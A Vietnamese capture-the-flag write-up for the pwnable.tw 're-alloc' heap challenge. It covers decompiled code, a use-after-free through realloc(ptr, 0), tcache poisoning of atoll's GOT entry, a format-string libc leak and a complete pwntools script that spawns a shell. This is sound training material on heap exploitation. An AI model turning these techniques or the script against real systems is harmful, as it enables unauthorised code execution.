---
title: '[Pwnable.tw] re-alloc (heap)'
tags: writeup, heap, pwntw
---
[toc]
## **SOURCE**
> libc phiên bản 2.29


## **REVERSE**
> Đây là các hàm có liên quan
### Main
```c=
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
v3 = 0;
init_proc(argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
menu();
__isoc99_scanf("%d", &v3);
if ( v3 != 2 )
break;
reallocate();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
rfree();
}
else
{
if ( v3 == 4 )
_exit(0);
LABEL_13:
puts("Invalid Choice");
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
allocate();
}
}
}
```
### Rfree
```c=
int rfree()
{
_QWORD *v0; // rax
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
printf("Index:");
v2 = read_long();
if ( v2 > 1 )
{
LODWORD(v0) = puts("Invalid !");
}
else
{
realloc(heap[v2], 0LL);
v0 = heap;
heap[v2] = 0LL;
}
return v0;
}
```
### Realloc
```c=
int reallocate()
{
unsigned __int64 idx; // [rsp+8h] [rbp-18h]
unsigned __int64 size; // [rsp+10h] [rbp-10h]
void *v3; // [rsp+18h] [rbp-8h]
printf("Index:");
idx = read_long();
if ( idx > 1 || !heap[idx] )
return puts("Invalid !");
printf("Size:");
size = read_long();
if ( size > 120 )
return puts("Too large!");
v3 = realloc(heap[idx], size);
if ( !v3 )
return puts("alloc error");
heap[idx] = v3;
printf("Data:");
return read_input(heap[idx], size);
}
```
### Allocate
```c=
int allocate()
{
_BYTE *v0; // rax
unsigned __int64 v2; // [rsp+0h] [rbp-20h]
unsigned __int64 size; // [rsp+8h] [rbp-18h]
void *ptr; // [rsp+18h] [rbp-8h]
printf("Index:");
v2 = read_long();
if ( v2 > 1 || heap[v2] )
{
LODWORD(v0) = puts("Invalid !");
}
else
{
printf("Size:");
size = read_long();
if ( size <= 0x78 )
{
ptr = realloc(0LL, size);
if ( ptr )
{
heap[v2] = ptr;
printf("Data:");
v0 = (heap[v2] + read_input(heap[v2], size));
*v0 = 0;
}
else
{
LODWORD(v0) = puts("alloc error");
}
}
else
{
LODWORD(v0) = puts("Too large!");
}
}
return v0;
}
```
### read_long
```c
__int64 read_long()
{
char nptr[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]
v2 = __readfsqword(0x28u);
__read_chk(0LL, nptr, 16LL, 17LL);
return atoll(nptr);
}
```
Hàm `allocate` dùng realloc thay cho malloc.
Cho phép lưu trữ tối đa 2 ptr.
Size < 120 (Tcache bin).
Check nếu ptr tồn tại thì không cho `allocate`.
`Rfree` sau khi free sẽ set ptr = 0.
## **VULN**
* Realloc với size = 0 thì tương đướng với free, không cần thông quan qua hàm `Rfree` nên ptr không bị set = 0.
* Realloc với size = size cũ thì không có tác động nào cả nhưng trong hàm `Reallocate` có đọc dữ liệu vào nên có thể ghi vào ptr bất kì.
Dùng UAF ghi lên freed chunk trong tcache với địa chỉ của mục tiêu (1), sau đó alloc 2 lần để lấy con trỏ trỏ với mục tiêu.
Chương trình chỉ cho phép lưu trữ 2 ptr và cần phải dùng 1 ptr thực hiện (1), nên để có thể alloc được 2 lần mà không đưa chunk vừa lấy vào bin cũ thì phải `reallocate` thay đổi size của nó rồi mới free.
## **APPROACH**
Libc 2.29 không check size, cũng không có safe link nên có thể trực tiếp tạo con trở tại bảng GOT => có thể đè `printf_plt` lên `atoll_got` để leak libc base.
Sau khi leak libc base thì ghi địa chỉ của system vào `atoll_got` là có thể lấy shell.
## **STEPS**
1. Tạo 2 con trỏ với `atoll_got` với tcache size 0x20 và 0x40.
2. Set 2 con trở về 0.
3. Dùng ptr idx 0 để ghi `printf_plt` vào `atoll_got`.
4. Leak libc base bằng format string.
5. Ghi địa chỉ của system vào `atoll_got`.
6. Lấy shell.
## **PAYLOAD**
```python=
# -- coding: utf-8 --
import re
from pwn import *
# ENV
PORT = 10106
HOST = "chall.pwnable.tw"
e = context.binary = ELF('./re-alloc_patched')
# lib = ELF('')
lib = e.libc
if len(sys.argv) > 1 and sys.argv[1] == 'r':
r = remote(HOST, PORT)
else:
r = e.process()
# VARIABLE
def alloc(idx, size, data):
r.sendlineafter("choice:" ,"1")
r.sendlineafter("Index:", str(idx))
r.sendlineafter("Size:", str(size))
r.sendlineafter("Data:", data)
def alloc2(idx, size, data):
r.sendlineafter("choice:" ,"1")
r.sendlineafter("Index:", str(idx))
r.sendlineafter("Size:", str(size))
r.sendafter("Data:", data)
def realloc2(idx, size, data):
r.sendlineafter("choice:" ,"2")
r.sendlineafter("Index:", str(idx))
r.sendlineafter("Size:", str(size))
r.sendafter("Data:", data)
def realloc4(idx, data):
r.sendlineafter("choice:" ,"2")
r.sendafter("Index:", '\n')
r.sendlineafter("Size:", str(idx))
r.sendafter("Data:", data)
def realloc3(idx):
r.sendlineafter("choice:" ,"2")
r.sendlineafter("Index:", str(idx))
r.sendlineafter("Size:","0")
def realloc(idx, size, data):
r.sendlineafter("choice:" ,"2")
r.sendlineafter("Index:", str(idx))
r.sendlineafter("Size:", str(size))
r.sendlineafter("Data:", data)
def free(idx):
r.sendlineafter("choice:" ,"3")
r.sendlineafter("Index:", str(idx))
# PAYLOAD
## STEP 1
alloc(0, 0x18, 'a)')
realloc3(0)
realloc2(0, 0x18, p64(e.got.atoll))
alloc(1, 0x18, 'a')
realloc(1, 0x28, 'a')
free(1)
realloc(0, 0x38, 'a')
free(0)
alloc(0, 0x48, 'a)')
realloc3(0)
realloc2(0, 0x48, p64(e.got.atoll))
alloc(1, 0x48, 'a')
## STEP 2
realloc(1, 0x58, 'a')
free(1)
realloc(0, 0x68, 'a')
free(0)
## STEP 3
alloc2(0, 0x48, p64(e.plt.printf))
## STEP 4
r.sendlineafter("Your choice:", "3")
r.sendlineafter("Index:", "%7$p")
leak = int(r.recvline().strip(), 16)
info("leak: 0x%x" % leak)
base = leak - 0x1e5760
info("base: 0x%x" % base)
lib.address = base
## STEP 5
r.sendlineafter("choice:" ,"1")
r.sendlineafter("Index:", '')
r.sendlineafter("Size:", 'asdfsdfsdfsdf')
r.sendafter("Data:", p64(lib.sym.system))
## STEP 6
r.sendlineafter("choice:" ,"1")
r.sendlineafter("Index:", 'sh')
r.interactive()
```
